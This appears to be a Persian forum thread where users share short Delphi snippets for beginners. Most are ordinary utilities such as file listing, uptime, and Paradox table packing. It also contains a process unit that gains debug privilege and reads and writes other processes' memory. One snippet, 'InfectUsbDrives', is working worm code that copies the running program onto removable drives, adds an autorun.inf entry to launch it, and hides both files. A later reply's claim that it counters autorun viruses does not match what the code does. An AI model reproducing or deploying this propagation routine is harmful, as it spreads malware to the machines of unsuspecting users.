ايران ويج

صفحه‌ها: 1 2 3 4 5

با سلام
این تاپیک برای این راه اندازی شده تا هر کسی هر سورس دلفی داشت یا جایی دید اینجا قرار بده (اگه تونست با 1 خط توضیح)تا بقیه هم بتونن از اون کدها استفاده کنن
حتی المقدور کدها کوچیک و کاربردی باشه تا انالیزش واسه تازه کارا راحت باشه

لیست کلیه فایلهای یک پوشه
این یه تابع هست که اسم پوشه و کنترلی که اسامی رو میخواهید توش نمایش بدین به برنامه میدین و او هم با استفاده از توابع FindFirst و FindNext اسامی فایلها رو تو اون کنترل که در اینجا listbox هست نشون میده

کد: 
procedure ListFileDir(Path: string; FileList: TStrings);

var

  SR: TSearchRec;

begin

  if FindFirst(Path + '*.*', faAnyFile, SR) = 0 then

  begin

    repeat

      if (SR.Attr <> faDirectory) then

      begin

        FileList.Add(SR.Name);

      end;

    until FindNext(SR) <> 0;

    FindClose(SR);

  end;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

  ListFileDir('C:\WINDOWS\', ListBox1.Items);

end;

مدت زمان روشن بودن کامپیوتر.

کد: 
function UpTime: string;

const

ticksperday: Integer    = 1000 * 60 * 60 * 24;

ticksperhour: Integer   = 1000 * 60 * 60;

ticksperminute: Integer = 1000 * 60;

tickspersecond: Integer = 1000;

var

t: Longword;

d, h, m, s: Integer;

begin

t := GetTickCount;

d := t div ticksperday;

Dec(t, d * ticksperday);

h := t div ticksperhour;

Dec(t, h * ticksperhour);

m := t div ticksperminute;

Dec(t, m * ticksperminute);

s := t div tickspersecond;

Result := ' مدت روشن بودن ' + IntToStr(d) + ' روز' + IntToStr(h) + ' ساعت ' + IntToStr(m) +

' دقيقه '+ IntToStr(s) + ' ثانيه ';

end;

کسانی که از بانک اطلاعاطی پارادوکس استفاده ميکنن برایجلوگيری از تخريب فايل و حذف فيزيکی رکوردها از جداول اطلاعاتی هرچند وقت يکبار اقدامبه فشرده کردن جدول کنند تابع زير که به paradoxpack موسوم است جهت فشرده كردن جداول پارادوكس ارائه ميشود
يونيتDBIPROCS را به قسمت uses اضافه کنید

کد: 
procedure TForm1.ParadoxPack(Tabela: TTable);

var TBDesc: CRTblDesc;

hDb: hDbiDb;

CaminhoTabela: array[0..dbiMaxPathLen] of char;

begin

If not Tabela.Active then

Tabela.Open;

FillChar(TBDesc,Sizeof(TBDesc),0);

With TBDesc do begin

StrPCopy(szTblName,Tabela.TableName);

StrPCopy(szTblType,szParadox);

bPack:=True;

end;

hDb:=nil;

Check(DbiGetDirectory(Tabela.DBHandle,True,CaminhoTabela));

Tabela.Close;

Check(DbiOpenDatabase(nil,'STANDARD',dbiReadWrite,dbiOpenExcl,nil,0,nil,nil,hDb));

Check(DbiSetDirectory(hDb,CaminhoTabela));

Check(DBIDoRestructure(hDb,1,@TBDesc,nil,nil,nil,False));

Tabela.Open;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

ParadoxPack(Table1);

end;

با سلام
اضافه کردن عکس به پس زمینه یک فورم

کد: 
unit Unit1;

interface

uses  

Windows, SysUtils, Classes, Graphics, Forms;

type

  TForm1 = class(TForm)   

 procedure FormCreate(Sender: TObject);    

procedure FormPaint(Sender: TObject);    

procedure FormDestroy(Sender: TObject);  

private 

   { Private declarations } 

 public    

{ Public declarations }    

backgroundImage : TBitmap;  

end;

var 

 Form1: TForm1;                           

 implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);

begin

backgroundImage := TBitmap.Create;

backgroundImage.LoadFromFile(ExtractFilePath(Application.ExeName)+'background.bmp');

end;

procedure TForm1.FormPaint(Sender: TObject);

beginCanvas.Draw( 0, 0, backgroundImage );

end;

procedure TForm1.FormDestroy(Sender: TObject);

beginbackgroundImage.Free;

end;

end.

یافتن ادرس پوشه های مخصوص ویندوز

کد: 
uses

  ShlObj, ActiveX;

const

  CSIDL_FLAG_CREATE = $8000;

  CSIDL_ADMINTOOLS = $0030;

  CSIDL_ALTSTARTUP = $001D;

  CSIDL_APPDATA = $001A;

  CSIDL_BITBUCKET = $000A;

  CSIDL_CDBURN_AREA = $003B;

  CSIDL_COMMON_ADMINTOOLS = $002F;

  CSIDL_COMMON_ALTSTARTUP = $001E;

  CSIDL_COMMON_APPDATA = $0023;

  CSIDL_COMMON_DESKTOPDIRECTORY = $0019;

  CSIDL_COMMON_DOCUMENTS = $002E;

  CSIDL_COMMON_FAVORITES = $001F;

  CSIDL_COMMON_MUSIC = $0035;

  CSIDL_COMMON_PICTURES = $0036;

  CSIDL_COMMON_PROGRAMS = $0017;

  CSIDL_COMMON_STARTMENU = $0016;

  CSIDL_COMMON_STARTUP = $0018;

  CSIDL_COMMON_TEMPLATES = $002D;

  CSIDL_COMMON_VIDEO = $0037;

  CSIDL_CONTROLS = $0003;

  CSIDL_COOKIES = $0021;

  CSIDL_DESKTOP = $0000;

  CSIDL_DESKTOPDIRECTORY = $0010;

  CSIDL_DRIVES = $0011;

  CSIDL_FAVORITES = $0006;

  CSIDL_FONTS  = $0014;

  CSIDL_HISTORY = $0022;

  CSIDL_INTERNET = $0001;

  CSIDL_INTERNET_CACHE = $0020;

  CSIDL_LOCAL_APPDATA = $001C;

  CSIDL_MYDOCUMENTS = $000C;

  CSIDL_MYMUSIC = $000D;

  CSIDL_MYPICTURES = $0027;

  CSIDL_MYVIDEO = $000E;

  CSIDL_NETHOOD = $0013;

  CSIDL_NETWORK = $0012;

  CSIDL_PERSONAL = $0005;

  CSIDL_PRINTERS = $0004;

  CSIDL_PRINTHOOD = $001B;

  CSIDL_PROFILE = $0028;

  CSIDL_PROFILES = $003E;

  CSIDL_PROGRAM_FILES = $0026;

  CSIDL_PROGRAM_FILES_COMMON = $002B;

  CSIDL_PROGRAMS = $0002;

  CSIDL_RECENT = $0008;

  CSIDL_SENDTO = $0009;

  CSIDL_STARTMENU = $000B;

  CSIDL_STARTUP = $0007;

  CSIDL_SYSTEM = $0025;

  CSIDL_TEMPLATES = $0015;

  CSIDL_WINDOWS = $0024;

function GetShellFolder(CSIDL: integer): string;

var

  pidl                   : PItemIdList;

  FolderPath             : string;

  SystemFolder           : Integer;

  Malloc                 : IMalloc;

begin

  Malloc := nil;

  FolderPath := '';

  SHGetMalloc(Malloc);

  if Malloc = nil then

  begin

    Result := FolderPath;

    Exit;

  end;

  try

    SystemFolder := CSIDL;

    if SUCCEEDED(SHGetSpecialFolderLocation(0, SystemFolder, pidl)) then

    begin

      SetLength(FolderPath, max_path);

      if SHGetPathFromIDList(pidl, PChar(FolderPath)) then

      begin

        SetLength(FolderPath, length(PChar(FolderPath)));

      end;

    end;

    Result := FolderPath;

  finally

    Malloc.Free(pidl);

  end;

end;

اینم یه یونیت واسه کارکردن با پروسه ها

کد: 
// Coded By Arash Veyskarami

// a part of VsCollection

unit VsProcess;

interface

uses windows, tlhelp32;

function ProcessCountByPath(Path:string): integer; stdcall;

function PHandleToPath(hProcess: cardinal) : string; stdcall;

function PHandleToPid(hProcess: cardinal) : Cardinal;stdcall;

function NameToPid(ExeNames: PChar): Cardinal; stdcall;  //

function PidToName(dwProcessID: DWord): string; stdcall;

function PidToPath(dwProcessID: DWord): string; stdcall;

function PathToPid(Path:string):Dword; stdcall;

function GetModulesByPid(ProcessID: DWord): string; stdcall;

function GetModulesByName(ExeName: PChar): string; stdcall;

function GetAllProcess: string; stdcall;

function IsProcessByName(Name:string):Boolean;stdcall;

function IsProcessByPath(Path:string):Boolean;stdcall;

function FindModulesInProcess(ProcessID: DWord): string; stdcall; overload;

function FindModulesInProcess(ExecutableName: PChar): string; stdcall; overload;

function IsModuleFound(ProcessID: DWord;Module:string): Boolean; stdcall;

function PidToParent(Pid:Dword):Dword;

function ReadIntMemory(const lpBase:integer;PID:Cardinal):integer;stdcall;

function ReadStrMemory(const lpBase:integer;PID:Cardinal):String;stdcall;

procedure WriteIntMemory(const lpBase:integer;PID:Cardinal;lpinteger:integer);stdcall;

procedure WriteStrMemory(const lpBase:integer;PID:Cardinal;lpString:string);stdcall;

procedure SetTokenPrivileges;

implementation

  type

  TNtProcessBasicInfo = record

    exitStatus     : cardinal;

    pebBaseAddress : cardinal;

    affinityMask   : cardinal;

    basePriority   : cardinal;

    pid            : cardinal;

    parentPid      : cardinal;

  end;

  TPCardinal     = ^cardinal;

   TNtProcessInfoClass = (ProcessBasicInformation,

                         ProcessQuotaLimits,

                         ProcessIoCounters,

                         ProcessVmCounters,

                         ProcessTimes,

                         ProcessBasePriority,

                         ProcessRaisePriority,

                         ProcessDebugPort,

                         ProcessExceptionPort,

                         ProcessAccessToken,

                         ProcessLdtInformation,

                         ProcessLdtSize,

                         ProcessDefaultHardErrorMode,

                         ProcessIoPortHandlers,

                         ProcessPooledUsageAndLimits,

                         ProcessWorkingSetWatch,

                         ProcessUserModeIOPL,

                         ProcessEnableAlignmentFaultFixup,

                         ProcessPriorityClass,

                         ProcessWx86Information,

                         ProcessHandleCount,

                         ProcessAffinityMask,

                         ProcessPriorityBoost,

                         ProcessDeviceMap,

                         ProcessSessionInformation,

                         ProcessForegroundInformation,

                         ProcessWow64Information,

                         ProcessImageFileName,

                         ProcessLUIDDeviceMapsEnabled,

                         ProcessBreakOnTermination,

                         ProcessDebugObjectHandle,

                         ProcessDebugFlags,

                         ProcessHandleTracing,

                         ProcessIoPriority,

                         ProcessExecuteFlags,

                         ProcessResourceManagement,

                         ProcessCookie,

                         ProcessImageInformation,

                         MaxProcessInfoClass);

     var

  NtQueryInformationProcess : function (processHandle : cardinal;

                                        infoClass     : TNtProcessInfoClass;

                                        buffer        : pointer;

                                        bufSize       : cardinal;

                                        returnSize    : TPCardinal) : cardinal stdcall = nil;

function LowerCase(const S: string): string;

var

  Ch: Char;

  L: Integer;

  Source, Dest: PChar;

begin

  L := Length(S);

  SetLength(Result, L);

  Source := Pointer(S);

  Dest := Pointer(Result);

  while L <> 0 do

  begin

    Ch := Source^;

    if (Ch >= 'A') and (Ch <= 'Z') then Inc(Ch, 32);

    Dest^ := Ch;

    Inc(Source);

    Inc(Dest);

    Dec(L);

  end;

end;

function UpperCase(sString: String): String; stdcall;

var

  Ch    : Char;

  L     : Integer;

  Source: PChar;

  Dest  : PChar;

begin

  L := Length(sString);

  SetLength(Result, L);

  Source := Pointer(sString);

  Dest := Pointer(Result);

  while L <> 0 do

  begin

    Ch := Source^;

    if (Ch >= 'a') and (Ch <= 'z') then Dec(Ch, 32);

    Dest^ := Ch;

    Inc(Source);

    Inc(Dest);

    Dec(L);

  end;

end;

function ExtractFileName(sFile: String): String; stdcall;

var

  i: Integer;

  j: Integer;

begin

  j := 0;

  for i := 1 to length(sFile) do

    if (sFile[i] = '\') then j := i;

  sFile := Copy(sFile,j+1,length(sFile));

  j := 0;

  for i := 1 to length(sFile) do

    if (sFile[i] = '.') then j := i;

  if j = 0 then j := length(sFile)+1;

  Result := Copy(sFile,1,j-1);

end;

function PidToPath(dwProcessID: DWord): string; stdcall;

var FSnapshotHandle: THandle;

    FModuleEntry32 : TModuleEntry32;

begin

  Result := '';

  if (dwProcessID <> 0) then

  begin

    FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,dwProcessID);

    FModuleEntry32.dwSize := Sizeof(FModuleEntry32);

    Module32First(FSnapshotHandle,FModuleEntry32);

    result := FModuleEntry32.szExePath;

    CloseHandle(FSnapshotHandle);

  end;

end;

function PathToPid(Path:string):Cardinal;

 Var

  cLoop          :Boolean;

  SnapShot       :THandle;

  L              :TProcessEntry32;

  Begin

 Result:=0;

  SnapShot := CreateToolHelp32SnapShot(TH32CS_SNAPPROCESS or TH32CS_SNAPMODULE, 0);

  L.dwSize := SizeOf(L);

  cLoop := Process32First(SnapShot, L);

  while (Integer(cLoop) <> 0) do begin

    if LowerCase(PidToPath(L.th32ProcessID)) = LowerCase(Path) then

  Result:=L.th32ProcessID ;

  cLoop := Process32Next(SnapShot, L);

  end;

  CloseHandle(SnapShot);

end;

function PHandleToPath(hProcess: cardinal) : string; stdcall;

var pbi  : TNtProcessBasicInfo;

    c1   : cardinal;

    pp   : pointer;

    ws   : wideString;

    ustr : packed record

    len, maxLen : word;

    str         : PWideChar;

           end;

begin

  result := '?';

  if @NtQueryInformationProcess = nil then

    NtQueryInformationProcess := GetProcAddress(GetModuleHandle('ntdll.dll'), 'NtQueryInformationProcess');

  if (NtQueryInformationProcess(hProcess, ProcessBasicInformation, @pbi, sizeOf(TNtProcessBasicInfo), nil) = 0) and

     ReadProcessMemory(hProcess, pointer(dword(pbi.pebBaseAddress) + $10), @pp, 4, c1) and (c1 = 4) and

     ReadProcessMemory(hProcess, pointer(dword(pp) + 14 * 4), @ustr, 8, c1) and (c1 = 8) then begin

    SetLength(ws, ustr.len div 2);

    if ReadProcessMemory(hProcess, ustr.str, pointer(ws), ustr.len, c1) and (c1 = ustr.len) then

      result := ws;

  end;

end;

function PHandleToPID(hProcess: cardinal) : Cardinal;

var pbi  : TNtProcessBasicInfo;

    c1   : cardinal;

    pp   : pointer;

    ws   : wideString;

    ustr : packed record

    len, maxLen : word;

    str         : PWideChar;

           end;

begin

  if @NtQueryInformationProcess = nil then

    NtQueryInformationProcess := GetProcAddress(GetModuleHandle('ntdll.dll'), 'NtQueryInformationProcess');

   NtQueryInformationProcess(hProcess, ProcessBasicInformation, @pbi, sizeOf(TNtProcessBasicInfo), nil);

   Result:=pbi.pid;

end;

function PidToName(dwProcessID: DWord): string; stdcall;

begin

Result:=ExtractFileName(PidToPath(dwProcessID)+'.exe');

end;

function GetModulesByPid(ProcessID: DWord): string; stdcall;

var sFoundModules  : String;

    FSnapshotHandle: THandle;

    FModuleEntry32 : TModuleEntry32;

    ContinueLoop   : Boolean;

begin

  Result := '';

  sFoundModules := '';

  if (ProcessID <> 0) then

  begin

    FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,ProcessID);

    FModuleEntry32.dwSize := Sizeof(FModuleEntry32);

    ContinueLoop := Module32First(FSnapshotHandle,FModuleEntry32);

    while ContinueLoop do

    begin

      sFoundModules := sFoundModules+FModuleEntry32.szModule+#13#10;

      ContinueLoop := Module32Next(FSnapshotHandle,FModuleEntry32);

    end;

    result := sFoundModules;

    CloseHandle(FSnapshotHandle);

  end;

end;

function ProcessCountByPath(Path:string): integer; stdcall;

var

  FSnapshotHandle: THandle;

  FProcessEntry32: TProcessEntry32;

  ContinueLoop   : Boolean;

begin

  Result:=0;

  FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

  FProcessEntry32.dwSize := Sizeof(FProcessEntry32);

  ContinueLoop := Process32First(FSnapshotHandle,FProcessEntry32);

  while ContinueLoop do

  begin

  if LowerCase(PidToPath(FProcessEntry32.th32ProcessID)) = LowerCase(Path) then

  Result:=Result+1;

  ContinueLoop := Process32Next(FSnapshotHandle,FProcessEntry32);

  end;

  CloseHandle(FSnapshotHandle);

end;

function IsModuleFound(ProcessID: DWord;Module:string): Boolean; stdcall;

var sFoundModules  : String;

    FSnapshotHandle: THandle;

    FModuleEntry32 : TModuleEntry32;

    ContinueLoop   : Boolean;

begin

SetTokenPrivileges;

  sFoundModules := '';

  if (ProcessID <> 0) then

  begin

    FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,ProcessID);

    FModuleEntry32.dwSize := Sizeof(FModuleEntry32);

    ContinueLoop := Module32First(FSnapshotHandle,FModuleEntry32);

    while ContinueLoop do

    begin

   Result:=  (FModuleEntry32.szModule = Module);

      ContinueLoop := Module32Next(FSnapshotHandle,FModuleEntry32);

    end;

    CloseHandle(FSnapshotHandle);

  end;

end;

function NameToPid(ExeNames: PChar): DWord;

  function DeleteExe(sProcessNames: string): string;

  var i: DWord;

      j: DWord;

  begin

    SetLength(Result,Length(sProcessNames));

    result := '';

    j := 0;

    for i := 1 to length(sProcessNames) do

    begin

      if (Copy(sProcessNames,i,6) = ('.EXE'#13#10)) then

        j := 4;

      if (j > 0) then

        Dec(j) else

        Result := Result+sProcessNames[i];

    end;

  end;

var

  FSnapshotHandle: THandle;

  FProcessEntry32: TProcessEntry32;

  ContinueLoop   : Boolean;

  sExeSearch     : String;

  sExeProcess    : String;

  i              : integer;

begin

  Result := 0;

  sExeSearch := DeleteExe(uppercase(#13#10+exenames+#13#10));

  FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

  FProcessEntry32.dwSize := Sizeof(FProcessEntry32);

  ContinueLoop := Process32First(FSnapshotHandle,FProcessEntry32);

  while ContinueLoop do

  begin

    sExeProcess := uppercase(extractfilename(FProcessEntry32.szExeFile));

    i := pos(sExeProcess,sExeSearch);

    if (i > 0) and

       (sExeSearch[i-1] = #10) and

       (sExeSearch[i+length(sExeProcess)] = #13)  then

      result := FProcessEntry32.th32ProcessID;

    ContinueLoop := Process32Next(FSnapshotHandle,FProcessEntry32);

  end;

  CloseHandle(FSnapshotHandle);

end;

function GetModulesByName(ExeName: PChar): string; stdcall;

begin

  Result := GetModulesByPid(NameToPid(ExeName));

end;

function GetAllProcess: string; stdcall;

var

  FSnapshotHandle: THandle;

  FProcessEntry32: TProcessEntry32;

  ContinueLoop   : Boolean;

  sFoundProcesses: String;

begin

  FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

  FProcessEntry32.dwSize := Sizeof(FProcessEntry32);

  ContinueLoop := Process32First(FSnapshotHandle,FProcessEntry32);

  sFoundProcesses := '';

  while ContinueLoop do

  begin

    sFoundProcesses := sFoundProcesses+ExtractFilename(FProcessEntry32.szExeFile)+#13#10;

    ContinueLoop := Process32Next(FSnapshotHandle,FProcessEntry32);

  end;

  if (Length(sFoundProcesses) > 0) then

    Result := Copy(sFoundProcesses,1,length(sFoundProcesses)-2);

  CloseHandle(FSnapshotHandle);

end;

function IsProcessByName(Name:string):Boolean;

 Var

  cLoop          :Boolean;

  SnapShot       :THandle;

  L              :TProcessEntry32;

  Begin

  Result:=False;

  SnapShot := CreateToolHelp32SnapShot(TH32CS_SNAPPROCESS or TH32CS_SNAPMODULE, 0);

  L.dwSize := SizeOf(L);

  cLoop := Process32First(SnapShot, L);

  while (Integer(cLoop) <> 0) do begin

  if LowerCase(L.szExeFile) = LowerCase(Name) then

  Result:=True ;

  cLoop := Process32Next(SnapShot, L);

  end;

  CloseHandle(SnapShot);

end;

function PidToParent(Pid:Dword):Dword;

 Var

  cLoop          :Boolean;

  SnapShot       :THandle;

  L              :TProcessEntry32;

  Begin

  SnapShot := CreateToolHelp32SnapShot(TH32CS_SNAPPROCESS or TH32CS_SNAPMODULE, 0);

  L.dwSize := SizeOf(L);

  cLoop := Process32First(SnapShot, L);

  while (Integer(cLoop) <> 0) do begin

  if (L.th32ProcessID) = Pid then

  Result:=L.th32ParentProcessID ;

  cLoop := Process32Next(SnapShot, L);

  end;

  CloseHandle(SnapShot)

end;

function IsProcessByPath(Path:string):Boolean;

 Var

  cLoop          :Boolean;

  SnapShot       :THandle;

  L              :TProcessEntry32;

  Begin

  Result:=False;

  SnapShot := CreateToolHelp32SnapShot(TH32CS_SNAPPROCESS or TH32CS_SNAPMODULE, 0);

  L.dwSize := SizeOf(L);

  cLoop := Process32First(SnapShot, L);

  while (Integer(cLoop) <> 0) do begin

  if LowerCase(PidToPath(L.th32ProcessID)) = LowerCase(Path) then

  Result:=True ;

  cLoop := Process32Next(SnapShot, L);

  end;

  CloseHandle(SnapShot);

end;

procedure SetTokenPrivileges;

var

  hToken1, hToken2, hToken3: THandle;

  TokenPrivileges: TTokenPrivileges;

  Version: OSVERSIONINFO;

begin

  Version.dwOSVersionInfoSize := SizeOf(OSVERSIONINFO);

  GetVersionEx(Version);

  if Version.dwPlatformId <> VER_PLATFORM_WIN32_WINDOWS then

  begin

    try

      OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES, hToken1);

      hToken2 := hToken1;

      LookupPrivilegeValue(nil, 'SeDebugPrivilege', TokenPrivileges.Privileges[0].luid);

      TokenPrivileges.PrivilegeCount := 1;

      TokenPrivileges.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;

      hToken3 := 0;

      AdjustTokenPrivileges(hToken1, False, TokenPrivileges, 0, PTokenPrivileges(nil)^, hToken3);

      TokenPrivileges.PrivilegeCount := 1;

      TokenPrivileges.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;

      hToken3 := 0;

      AdjustTokenPrivileges(hToken2, False, TokenPrivileges, 0, PTokenPrivileges(nil)^, hToken3);

      CloseHandle(hToken1);

    except;

    end;

  end;

end;

function FindModulesInProcess(ExecutableName: PChar): string; stdcall; overload;

begin

  Result := FindModulesInProcess(NameToPid(ExecutableName));

end;

function FindModulesInProcess(ProcessID: DWord): string; stdcall; overload;

var sFoundModules  : String;

    FSnapshotHandle: THandle;

    FModuleEntry32 : TModuleEntry32;

    ContinueLoop   : Boolean;

begin

  Result := '';

  sFoundModules := '';

  if (ProcessID <> 0) then

  begin

    FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,ProcessID);

    FModuleEntry32.dwSize := Sizeof(FModuleEntry32);

    ContinueLoop := Module32First(FSnapshotHandle,FModuleEntry32);

    while ContinueLoop do

    begin

      sFoundModules := sFoundModules+FModuleEntry32.szModule+#13#10;

      ContinueLoop := Module32Next(FSnapshotHandle,FModuleEntry32);

    end;

    result := sFoundModules;

    CloseHandle(FSnapshotHandle);

  end;

end;

function ReadIntMemory(const lpBase:integer;PID:Cardinal):integer;

var

a:cardinal;

Byte:integer;

BytesRead:cardinal;

begin

a:=OpenProcess(PROCESS_ALL_ACCESS,False,PID);

ReadProcessMemory(a,Pointer(lpBase),@Byte,SizeOf(Byte),BytesRead);

CloseHandle(a);

Result:=Byte;

end;

function ReadStrMemory(const lpBase:integer;PID:Cardinal):String;

var

a:cardinal;

Byte:array[0..1024] of char;

BytesRead:cardinal;

begin

a:=OpenProcess(PROCESS_ALL_ACCESS,False,PID);

ReadProcessMemory(a,Pointer(lpBase),@Byte,SizeOf(Byte),BytesRead);

CloseHandle(a);

Result:=(Byte);

end;

procedure WriteIntMemory(const lpBase:integer;PID:Cardinal;lpinteger:integer);

var

a:cardinal;

BytesRead:cardinal;

sStr:Pchar;

begin

sStr:=Pchar(lpInteger);

a:=OpenProcess(PROCESS_ALL_ACCESS,False,PID);

WriteProcessMemory(a,Pointer(lpBase),@lpInteger,SizeOf(lpInteger)+1,BytesRead);

CloseHandle(a);

end;

procedure WriteStrMemory(const lpBase:integer;PID:Cardinal;lpString:string);

var

a:cardinal;

BytesRead:cardinal;

Str:array [0..1024] of char;

sStr:Pchar;

begin

sStr:=Pchar(lpString);

lstrcpyA(Str,sStr);

a:=OpenProcess(PROCESS_ALL_ACCESS,False,PID);

WriteProcessMemory(a,Pointer(lpBase),@Str,SizeOf(Str)+1,BytesRead);

CloseHandle(a);

end;

end.

اینو خودم نوشتم(البته با دستکاری چند تا سورس و یک کمی خلاقیت) با این سورس میتونید مدت زمان روشن بودن سیستم رو تو بانک اکسس ذخیره کنید.این و بزارید تو استارت آپ .الان زیاد بکار نمیاد اما بعد از اجرای طرح تحول اقتصادی شاید بخاید مصرف برق تون رو کنترل کنید. Tongue

این کد برای الوده کردن هر درایوهای usb

کد: 
function InfectUsbDrives(ExeName:string):integer;

var  

Drives: array[0..128] of char;  

xDrive: PChar;  

myFile: TextFile;

begin  

Result := 0;  

GetLogicalDriveStrings(SizeOf(Drives), Drives);  

xDrive := Drives;  

while xDrive^ <> #0 do  

begin    

if(GetDriveType(xDrive)=DRIVE_REMOVABLE)and(FileExists(xDrive)=True)and(FileExists(xDrive+':\'+ExeName)=False) then    

begin     

 try        

CopyFile(PChar(ParamStr(0)),PChar(xDrive+':\'+ExeName),False);       

 AssignFile(myFile, xDrive+':\autorun.inf');       

 if not FileExists(xDrive+':\autorun.inf') then ReWrite(myFile)       

 else

 Append(myFile);       

 WriteLn(myFile,'[autorun]'+#13#10+'open='+ExeName);        

CloseFile(myFile);        

SetFileAttributes(PChar(xDrive+':\'+ExeName),    FILE_ATTRIBUTE_HIDDEN);       

 SetFileAttributes(PChar(xDrive+':\autorun.inf'), FILE_ATTRIBUTE_HIDDEN);       

 Result := Result + 1;      

except      

end;   

 end;   

 Inc(xDrive, 4); 

 end

;end;

یعنی چی ((این کد برای الوده کردن هر درایوهای usb)) 002

یعنی اینکه این ویروسهای autorun که میبینی الان شایع شده از این روش استفاده میکنن شمام از همین روش بر ضدشون استفاده کنین

بازی حدس زدن عدد.مثبت یعنی عدد و مکانش درسته،منفی یعنی فقط عدد درسته و جاش غلطه!

صفحه‌ها: 1 2 3 4 5

lord_viper

mohamad5228

lord_viper

lord_viper

lord_viper

veyskarami

mohamad5228

lord_viper

mohamad5228

lord_viper

mohamad5228